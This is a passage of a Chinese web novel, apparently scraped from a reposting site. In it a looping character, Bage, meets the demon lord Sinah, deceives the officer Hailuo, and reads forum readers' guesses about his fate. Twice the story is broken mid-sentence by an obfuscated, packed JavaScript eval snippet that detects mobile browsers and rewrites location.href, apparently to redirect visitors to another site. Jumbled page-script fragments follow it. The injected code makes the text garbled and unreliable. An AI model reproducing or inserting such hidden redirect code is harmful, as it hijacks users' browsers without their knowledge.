他甩锅给辛纳就是因为不会殃及无辜，至少辛纳的立场是前后一致的，也就是论坛用户所说的“圆回去了”。 结果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14922992|160060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟然被嫌太正常？ 不是，搞个写文接龙还给他们点上菜了，明明这里是他生活的世界吧！？ 把他的世界弄得一团糟，他这位当事人还没怨言，罪魁祸首反倒先挑挑拣拣了。 即便论坛用户不知道他们影响的是一个真实的世界，好歹对故事本身怀有一丝尊重。 若是创作跳出合理性，仅为有趣与反转服务，魃戈不敢想象最终会呈现多么抽象的故事，没准儿就是把手机里浮夸的短视频拼凑起来，写出一部符合当下潮流的梗合集。 想想都要流冷汗。 算了，他没资格抨击别人。 身为活在故事里的BUG，无论怎么解释都是把自身利益放在第一位，他义正言辞地吹捧创作，只是披上高尚的外衣，想尽可能地省去麻烦。 等他把自己摘出去，论坛爱怎么折腾就怎么折腾，续写海罗的101种死法也和他没关系。 但千万别在这个节骨眼儿上灵光一闪。 光明女神在上。 麻烦她和邪神对冲一下。 魃戈深呼吸调整心情，他继续看评论，没翻到与发送短信有关的新续写，便放心地关闭论坛。 从结果来看，和辛纳交流不会被记录。 太好了。 免得他还要思索该怎么解释接下来的行为。 魃戈拿起手机，调出晾了许久的短信，在对话框敲出两行字。 【魃戈：祭品找齐了，细节需要当面沟通，时间紧急，越来越好。】 辛纳的回复速度快得像手机不离手的无业游民。 【辛纳：多久能到？（定位）】 【魃戈：二十分钟。】 【辛纳：十五分钟，我没那么多时间等你。】 魃戈：“……” 就他事多。 急躁蛮横的性格一点没变。 地址看着不像是闲杂人士不得入内的地方，显然，辛纳根本不缺五分钟，否则不会秒回，也不会立刻安排见面，但他偏偏要折腾出无关痛痒的五分钟。 失败的上位者才喜欢在细枝末节处立威。 魃戈对辛纳的好感度略低。 费特村的覆灭，是人生中最惨痛的一课，他有充足的理由算在这位魔王的头上。 别说贪婪残忍是魔族的天性，他不问原因只看结果。 无论何种宏图大志都不是屠杀村落的借口。 魔族能延续下去并长久地掠夺人类，不是靠智慧与谋虑，也不是靠魔王的领导才干，而是种族战斗力，他们的魔法天赋和身体素质都远超人族。 魔王，代表魔族最强战斗力。 不幸的是，魃戈能靠一己之力打败辛纳，这份强大只能局限于魔族。 拼魔法与体术，他毫无胜算。 可被数百个周目磨砺，他在精神系异能上的造诣足以弥补短板，无需太多波折，被魔族们俯首称臣的辛纳沦为人类的手下败将。 但归根结底，没几个「角色」能让他看顺眼。 既然原作都叫《平凡勇者从零开始击败魔王》了，那这点放在勇者身上成立，放在魔王身上也成立，尤其是连以海罗为首的草台班子都能讨伐成功的废物魔王。 尽管他为此出了不少力，但不妨碍得出以上结论。 要怪只能怪正反派旗鼓相当。 魃戈简短地敲了一个字，重重摁下的符号像是在戳辛纳的眼珠子。 【魃戈：好。】 幸亏他有先见之明地吃饭了。 五分钟就五分钟。 赶得上最好，赶不上拉倒。 18.第十八章 又是坚守在煎饼摊的一天。 虽然海罗认为现阶段应该把重心放在案件，比如调查录音笔里的另一个声音，再比如调查辛纳的身份，但上头没有给他吩咐别的任务，新入职的小透明不敢提出异议，擅自行动会被批评的。 可他缺乏的似乎不仅是上级的命令，而是更深层次的动力。 想不明白，他选择按部就班。 “海罗，你在检查什么？”希尔罗疑惑地问。 下班后她被煎饼的香味吸引，但站在小推车前的褐发少年不知道在蛄蛹什么，饼在锅上煎，视线和脑袋却上上下下，仿佛在提防鳌子里蹦出一枚炸弹。 “锅。”海罗严肃地皱眉，“你说，短路爆炸的前兆是什么？” 希尔洛：“……” 希尔洛：“你买了三无劣质产品！？” “不是！”海罗赶紧阻止尖叫的校医，突如其来的一嗓子打破温婉沉稳的印象，把他吓得铲子戳破了饼皮。 他更绝望了：“完了，我好久没弄破饼了，绝对是不祥之兆……” 希尔罗警惕地后退几步：“你有没有特殊的信仰？” 海罗微微一愣，听出了她的弦外之音，满脸黑线地否认：“我和邪教没关系！今天左眼跳得厉害，左眼跳灾右眼跳财，我怕出什么事，看来看去也就这口锅最有可能了。” “不是就好。”希尔罗如释重负地拍了拍胸口，恢复了温婉的模样，“别担心，眼皮跳可能和过度疲劳或者精神紧张有关。医务室还有召唤阵呢，我不是什么事都没有？” 海罗一边抢救失败的煎饼，一边自我催眠：“你说的对，可能是我太累了。” 但事实证明他的预感是正确的。 “——好久不见，海罗。” 收摊之际，不详的阴影将海罗笼罩，拿着不锈钢盖子的手一抖，和装着调味料的罐子碰撞，发出清脆的声响。 他木然地抬头看向声源，长相俊秀的黑发青年愉快地弯着眼眉，赤眸中的情绪被掩盖在廉价的笑意之下。 海罗深呼吸：“魃戈前辈。” 怎么又是他？ 尽管身份已经明朗，他是值得信任的队友兼卧底，但海罗看到这张脸就发怵。 他猜不透对方在想什么，一会儿伶牙俐齿地讽刺他，一会儿笑盈盈地给出关键线索，反复无常的性格像极了虚拟作品经常出现的口嫌体正直，但直觉告诉他不是这么一回事。 ——魃戈不是真心实意地帮助自己。 想法一旦成型，就在脑海里挥之不去。 海罗盯着泛着油光的鳌子，联想到等下回家还要费力地清洗干净，他很快就找到了原因。 哪个打工人怨气不重？ 做着高危工作却不幸碰到他这种帮倒忙的猪队友，没指着鼻子骂自己就不错了。 “不必那么客气，我们差不多大。”魃戈语气随和，没有一点前辈的架子，更是论证了海罗的猜想，不涉及工作，他是一个很好相处的人。 “方便问一下你多大吗？”海罗被激起好奇心。 魃戈目测二十岁出头，那张年轻的面孔撑死二十五岁，可他的一举一动没有这个年龄段应有的盛气与活力，轻快的口吻是在天空中胡乱向上飘的氢气球，生命力却被看不见的巨石拽着往下沉。 与其说是稳重的成年人，不如说是躺在病床上气若游丝的老者。 “年龄？”魃戈歪了歪头，鬓角随着动作贴住脸颊，狭长的眸子因思考而微微眯起，“今年是哪一年来着的？我算算……唔，二十岁。” 海罗既惊讶又羡慕：“那么年轻？好厉害。” “相信你也可以。好了，说正事。” 魃戈迈步凑上前去，借着帮忙收拾敞开的瓶瓶罐罐的假象，压低声音道：“我和辛纳见面了。” 海罗瞳孔一颤：“什么时候？” “就刚才。他主动约我见面，我赴约结束，确定没人跟着就立刻来找你呢。”魃戈垂着脑袋，乌黑的发丝如绸缎般悬在空中，他随手撩到耳后，优雅的动作像是在收拾珠宝，“他有些怀疑我的身份。” 轻描淡写地抛出堪比恐怖故事的消息，海罗被吓得惊恐地瞪大眼睛：“那怎么办？” 待在这种组织被发现绝对完蛋了吧！？ “别担心，应付过去了，我猜他只是疑心病太重。”魃戈冷静得不像是在危险边缘试探的当事人，“你还是担心一下自己吧，不觉得便衣警察的身份太明显了吗？我可不想因为你暴露了卧底身份。” 想到自己被学生认出来的尴尬场面，海罗的脑袋恨不得像鸵鸟一样埋下去：“我会小心的。” 魃戈继续道：“我私底下调查了001的身份，手机号查到的机主失踪很久了，但他和我见到的001不是同一个人。之后我深入调查，结合组织内部机密，可以确定001不是固定的代号，遭遇变故就会换人。初代001已经不在了，但具体换过多少任不得而知，没人记录成员以前的信息。” 大段信息流利地滑入海罗的耳中，他来不及思考话题为何突然切到001，赶紧情报记了下来。 “所以，001的身份很难查证？” 魃戈耸肩：“很遗憾，但是的。” “好复杂的案件。”海罗揉了揉太阳穴，“对了，辛纳的目的是什么？” “不知道，他给信徒的说辞和真实想法肯定不一样，只能等落网后好好审问他了。” “上次录音笔提到的月圆之夜是什么？有没有准确的时间和地点？从人类的身体中解救出来又指什么？” “把失踪者献祭了，具体不清楚。” “那他下一步准备做什么？” 魃戈斜眼：“我要是知道那么多，早就争分夺秒地带人一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14930690|160060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锅端了，用不着在这儿和你唠嗑。” “……也是。”海罗强笑道。 盖上最后一个不锈钢罐，魃戈慵懒地直起身子，日光下的影子被拉长，像是从弓背到拉伸的猫科动物。 他摆了摆手，转身离开：“走了，祝你任务顺利。” “你也要小心。” 目送黑发青年的背影消失在视野中，海罗呆立在原地，直到呼啸的冷风打在身上，他惊醒般的打了一个寒颤，再次回到不知道该做什么的迷茫中。 被吐槽假身份太明显了，可他还能做什么？ …… 清水哗啦哗啦地流动。 魃戈洗去触碰调味料盖子时沾上的油腻，水流冲去指尖的白色泡沫。他拧紧水龙头，轻轻甩去水珠，空气中飘着淡淡的洗手液香气。 计划如期顺利进行。 半透明的屏幕浮在空中，刚才发生的每一幕都被记录在论坛中，包括海罗的心理活动。 该说不愧是主角的直觉吗？居然察觉到他的反常之处。 【又是ip未知的太太】 【当之无愧的魃戈亲妈，每次接龙都写魃戈】 【老师把自家oc塞进来了（开玩笑的别骂我）】 【我怎么嗅到了好重的便当味？】 【年轻有为的警察、卧底身份被怀疑、单独和boss见面、看似不正经的靠谱前辈……嗯，全是flag】 【人设也很有那味，早死的美强惨白月光】 【魃戈说辛纳疑心病太重，确定不是用来让海罗放心的吗？辛纳怎么可能那么容易收起戒心啊！】 【再加一条，随意的道别却不曾料到是最后一面hhh】 【还有那句“我可不想因为你暴露了卧底身份”，放在正常的影视作品里就是暗示结局啊啊啊啊啊】 【不要啊！我还挺喜欢这个角色的QAQ】 【还好不是正常的影视作品（笑）】 魃戈：“……” 他怎么不知道他要死了？ 虽然和海罗的对话大部分都在胡扯，但他编造谎言的初衷不是为了死遁脱身。 但不失为一种选择，必要的时候他会考虑假死。 谢谢论坛的灵感。 排除掉一知半解的内容，比如辛纳的目的，魃戈告诉海罗的真话含量就像饮料里的果汁含量，只有他和辛纳见面了是真的。 年龄也是假的，二十岁是他正式陷入周目循环的年龄。 二十岁加上一个没规律的不等差数列才是他的真实年龄，估计有个几千岁，达成了另一种意义上的长生不老。 撒那么多谎话只为一个目的。 魃戈抽出纸巾擦干双手。 放在台面上的手机恰好亮了起来，屏幕上的文字让他控制不住地扬起嘴角。 【辛纳：001死了。】